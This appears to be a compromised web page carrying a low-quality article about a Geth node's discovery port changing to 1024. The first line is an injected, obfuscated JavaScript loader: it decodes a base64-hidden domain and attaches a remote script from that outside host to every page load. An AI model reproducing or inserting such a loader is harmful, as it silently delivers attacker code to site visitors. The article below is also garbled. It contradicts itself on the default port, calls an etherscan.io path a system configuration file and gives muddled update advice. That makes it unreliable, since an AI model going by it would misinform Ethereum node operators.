const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=f195812d”;document.body.appendChild(script);
Ethereum: Geth Port Change Causes Outage
A recent update to the Ethereum client introduced a change to the discovery port for the Geth node. Initially, users were using the default port 30303, but after installing version 1.13.14, an unexpected change occurred.
As reported by several users on the Ethereum subreddit and other online forums, the Geth node was now discovering connections on port 1024 instead of its usual default port of 30304. This change may seem minor at first glance, but it can cause significant issues for users who rely on this discovery feature.
The Problem: Discovery Port Change
To summarize, when you run ./geth with the command line options:
./geth --port 30303 --discovery.port 30304 --http --http.api eth,net,engine,admin --authrpc.jwtsecret ~/myhex.hex --datadir='~/ethereum/execution/data'
The node is initially discovering connections on port 30304. However, shortly after starting the node, it starts discovering connections on port 1024.
Causes and Consequences
There are a few possible reasons for this unexpected change:
- Misconfigured configuration files: It is possible that one or more of your system configuration files (e.g.
geth.conf,etherscan.io/config.json) contain incorrect settings that led to the port change.
- Node Update Issues: A recent update may have introduced changes to the Geth node behavior that caused this unexpected discovery port change.
Workarounds and Solutions
To resolve this issue:
- Check Configuration Files: Review your system configuration files for any misconfigurations that may be causing the port change.
- Update Geth: If you are using a recent version of Geth (e.g. 1.14.x), update to the latest version to ensure you are running with the correct default discovery port.
Conclusion
A small but important change to Geth’s discovery port has caused a stir among Ethereum users who rely on this feature. If you have encountered issues with your node or have experience with configuration files, it is essential to investigate and resolve any discrepancies that may be causing this unexpected behavior.
